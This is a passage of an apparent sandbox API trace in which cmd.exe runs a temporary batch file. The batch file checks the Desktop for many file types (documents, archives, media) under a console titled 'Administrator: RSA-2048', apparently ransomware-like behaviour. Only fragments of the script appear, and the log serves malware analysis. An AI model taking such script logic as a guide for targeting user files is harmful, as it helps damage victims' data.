[0040.260] GetProcessHeap () returned 0x4e0000 [0040.260] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.260] GetProcessHeap () returned 0x4e0000 [0040.260] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.261] _tell (_FileHandle=3) returned 4046 [0040.261] _close (_FileHandle=3) returned 0 [0040.261] GetFullPathNameW (in: lpFileName="*.url", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.url", lpFilePart=0x41eea8*="*.url") returned 0x2b [0040.261] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.261] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.url", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.261] GetLastError () returned 0x2 [0040.261] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.261] GetLastError () returned 0x6 [0040.261] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.261] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.262] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.262] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.262] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.262] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.262] SetConsoleInputExeNameW () returned 0x1 [0040.262] GetConsoleOutputCP () returned 0x1b5 [0040.262] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.262] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.263] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.263] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.263] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.263] SetFilePointer (in: hFile=0x74, lDistanceToMove=4046, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0040.263] GetProcessHeap () returned 0x4e0000 [0040.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.263] GetProcessHeap () returned 0x4e0000 [0040.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.263] GetProcessHeap () returned 0x4e0000 [0040.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.263] GetProcessHeap () returned 0x4e0000 [0040.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.263] GetProcessHeap () returned 0x4e0000 [0040.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.263] GetProcessHeap () returned 0x4e0000 [0040.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.263] GetProcessHeap () returned 0x4e0000 [0040.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.263] GetProcessHeap () returned 0x4e0000 [0040.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.263] GetProcessHeap () returned 0x4e0000 [0040.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.263] GetProcessHeap () returned 0x4e0000 [0040.263] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.264] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.264] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfce [0040.264] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x165f, lpOverlapped=0x0) returned 1 [0040.264] SetFilePointer (in: hFile=0x74, lDistanceToMove=4071, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0040.264] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=25, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF EXIST *.gif goto gif\r\n\r\n\r\n") returned 25 [0040.264] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.264] GetFileType (hFile=0x74) returned 0x1 [0040.264] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.264] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0040.264] GetProcessHeap () returned 0x4e0000 [0040.264] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.264] GetProcessHeap () returned 0x4e0000 [0040.264] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.265] _tell (_FileHandle=3) returned 4071 [0040.265] _close (_FileHandle=3) returned 0 [0040.265] GetFullPathNameW (in: lpFileName="*.gif", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", lpFilePart=0x41eea8*="*.gif") returned 0x2b [0040.265] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.266] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.266] GetLastError () returned 0x2 [0040.266] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.266] GetLastError () returned 0x6 [0040.266] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.266] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0040.266] _get_osfhandle (_FileHandle=1) returned 0x7 [0040.266] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0040.266] _get_osfhandle (_FileHandle=0) returned 0x3 [0040.266] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0040.267] SetConsoleInputExeNameW () returned 0x1 [0040.267] GetConsoleOutputCP () returned 0x1b5 [0040.267] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0040.267] SetThreadUILanguage (LangId=0x0) returned 0x409 [0040.267] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.267] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.267] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.267] SetFilePointer (in: hFile=0x74, lDistanceToMove=4071, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0040.267] GetProcessHeap () returned 0x4e0000 [0040.267] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0040.267] GetProcessHeap () returned 0x4e0000 [0040.267] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0040.268] GetProcessHeap () returned 0x4e0000 [0040.268] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2760 | out: hHeap=0x4e0000) returned 1 [0040.268] GetProcessHeap () returned 0x4e0000 [0040.268] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0040.268] GetProcessHeap () returned 0x4e0000 [0040.268] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0040.268] GetProcessHeap () returned 0x4e0000 [0040.268] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0040.268] GetProcessHeap () returned 0x4e0000 [0040.268] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e2700 | out: hHeap=0x4e0000) returned 1 [0040.268] GetProcessHeap () returned 0x4e0000 [0040.268] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0040.268] GetProcessHeap () returned 0x4e0000 [0040.268] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0040.268] GetProcessHeap () returned 0x4e0000 [0040.268] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f57b0 | out: hHeap=0x4e0000) returned 1 [0040.268] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.268] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0xfe7 [0040.268] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1646, lpOverlapped=0x0) returned 1 [0040.268] SetFilePointer (in: hFile=0x74, lDistanceToMove=4099, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0040.268] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="IF NOT EXIST *.gif goto l2\r\n\n") returned 28 [0040.268] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.268] GetFileType (hFile=0x74) returned 0x1 [0040.269] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.269] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0040.269] GetProcessHeap () returned 0x4e0000 [0040.269] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0040.269] GetProcessHeap () returned 0x4e0000 [0040.269] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0040.270] _tell (_FileHandle=3) returned 4099 [0040.270] _close (_FileHandle=3) returned 0 [0040.270] GetFullPathNameW (in: lpFileName="*.gif", nBufferLength=0x208, lpBuffer=0x41f0fc, lpFilePart=0x41eea8 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", lpFilePart=0x41eea8*="*.gif") returned 0x2b [0040.270] wcsncmp (_String1="C:\\U", _String2="\\\\.\\", _MaxCount=0x4) returned -25 [0040.270] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.gif", fInfoLevelId=0x1, lpFindFileData=0x41eeac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x41eeac) returned 0xffffffff [0040.270] GetLastError () returned 0x2 [0040.270] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0040.270] GetLastError () returned 0x6 [0040.270] GetConsoleTitleW (in: lpConsoleTitle=0x41f098, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0040.271] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41ede0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0040.271] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0040.271] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=4099, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0040.271] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.271] GetFileSize (in: hFile=0x74, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x262d [0040.271] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0040.271] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.271] GetFileType (hFile=0x74) returned 0x1 [0040.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1003 [0040.271] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=4127, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x101f [0040.271] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.url goto l2\r\nowerShell\\v1.0\\cd..") returned 28 [0040.271] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.271] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x101f [0040.272] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.272] GetFileType (hFile=0x74) returned 0x1 [0040.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x101f [0040.272] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=4155, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x103b [0040.272] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.zip goto l2\r\n") returned 28 [0040.272] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x103b [0040.272] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.272] GetFileType (hFile=0x74) returned 0x1 [0040.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x103b [0040.272] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=4183, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1057 [0040.272] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.rar goto l2\r\n") returned 28 [0040.272] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.272] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1057 [0040.272] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.272] GetFileType (hFile=0x74) returned 0x1 [0040.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1057 [0040.273] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=4211, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1073 [0040.273] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.ink goto l2\r\n") returned 28 [0040.273] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1073 [0040.273] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.273] GetFileType (hFile=0x74) returned 0x1 [0040.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1073 [0040.273] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=4239, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x108f [0040.273] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.txt goto l2\r\n") returned 28 [0040.273] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x108f [0040.273] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.273] GetFileType (hFile=0x74) returned 0x1 [0040.273] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x108f [0040.273] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.274] SetFilePointer (in: hFile=0x74, lDistanceToMove=4267, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab [0040.274] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.pdf goto l2\r\n") returned 28 [0040.274] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.274] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab [0040.274] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.274] GetFileType (hFile=0x74) returned 0x1 [0040.274] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10ab [0040.274] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.274] SetFilePointer (in: hFile=0x74, lDistanceToMove=4295, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10c7 [0040.274] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.vbs goto l2\r\n") returned 28 [0040.274] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.274] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c7 [0040.274] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.274] GetFileType (hFile=0x74) returned 0x1 [0040.274] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10c7 [0040.274] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.274] SetFilePointer (in: hFile=0x74, lDistanceToMove=4324, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4 [0040.274] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=29, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.docx goto l2\r\nwerShell\\v1.0\\cd..") returned 29 [0040.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4 [0040.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.275] GetFileType (hFile=0x74) returned 0x1 [0040.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x10e4 [0040.275] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=4352, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1100 [0040.275] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.doc goto l2\r\n\n") returned 28 [0040.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1100 [0040.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.275] GetFileType (hFile=0x74) returned 0x1 [0040.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1100 [0040.275] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=4380, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x111c [0040.275] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp4 goto l2\r\n") returned 28 [0040.275] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.275] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x111c [0040.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.276] GetFileType (hFile=0x74) returned 0x1 [0040.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x111c [0040.276] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=4408, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x1138 [0040.276] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=28, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="IF NOT EXIST *.mp3 goto l2\r\n") returned 28 [0040.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1138 [0040.276] _get_osfhandle (_FileHandle=3) returned 0x74 [0040.276] GetFileType (hFile=0x74) returned 0x1 [0040.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x1138 [0040.276] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0040.276] SetFilePointer (in: hFile=0x74, lDistanceToMove=4436, 